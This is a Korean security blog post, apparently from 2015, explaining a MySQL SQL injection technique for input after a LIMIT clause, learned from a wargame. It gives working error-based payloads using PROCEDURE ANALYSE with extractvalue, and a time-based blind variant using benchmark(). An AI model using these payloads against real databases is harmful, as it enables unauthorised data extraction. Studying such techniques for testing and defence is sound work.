본문 바로가기
Security

Limit 구문에서의 SQL Injection

by Hide­ 2015. 2. 27.
반응형

rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다.

이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다.


SELECT * FROM member WHERE id='guest' LIMIT {user input}


먼저 SELECT 의 문법에 대해 살펴보자.




이와 같이 LIMIT 이후에는 procedure analyse, into ~ 등을 쓸 수 있다.

그 중 procedure analyse 를 이용한 에러기반, 블라인드 기법에 대해 설명한다.

procedure analyse 는 보통 테이블에 들어있는 데이터를 분석하여 통계를 내주는 기능이다.

해당 기능은 총 2개의 파라미터를 받는다. (http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html)

여기에 보통 에러기반 인젝션에 사용되는 Extractvalue,UpdateXML 함수를 통해 공격을 할 수 있다.

여기서는 Extractvalue 를 통해 공격을 진행하겠다.

보통 extractvalue 를 통해 에러인젝션을 시도할 때의 공격구문은 다음과 같다.


extractvalue(1,concat(0x3a,version()))


이 문법을 통해 다음과 같이 공격을 진행한다.


SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())))

-> Incorrect parameters to procedure 'analyse'


파라미터를 하나 더 줘서 시도해본다.


SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)

-> XPATH syntax error: ':5.1.41-community'


성공적으로 version이 뽑힌걸 확인할 수 있다.

에러를 직접 확인할 수 없을때 아래와 같이 시간지연+블라인드 기법을 섞은 쿼리를 쓸 수 있다.


limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);

-> Only constant XPATH queries are supported

sleep 함수대신 benchmark 함수를 써본다.


limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);


성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.


아직 깊게 실험해본 기법이 아니라 틀린점이 있을수도 있습니다. 부족한부분은 점차 채워가도록 하겠습니다.

틀린점은 댓글로 알려주시면 감사하겠습니다.

'Security' 카테고리의 다른 글

New Error Based SQL Injection in MySQL >= 5.7.5  (1) 2015.04.05
Natas 11  (0) 2015.03.05
리눅스 보호기법 확인  (2) 2015.02.26
Stripped 된 바이너리의 Symbol 정보찾는법  (0) 2015.02.21
Pyc Decompiler  (0) 2015.02.09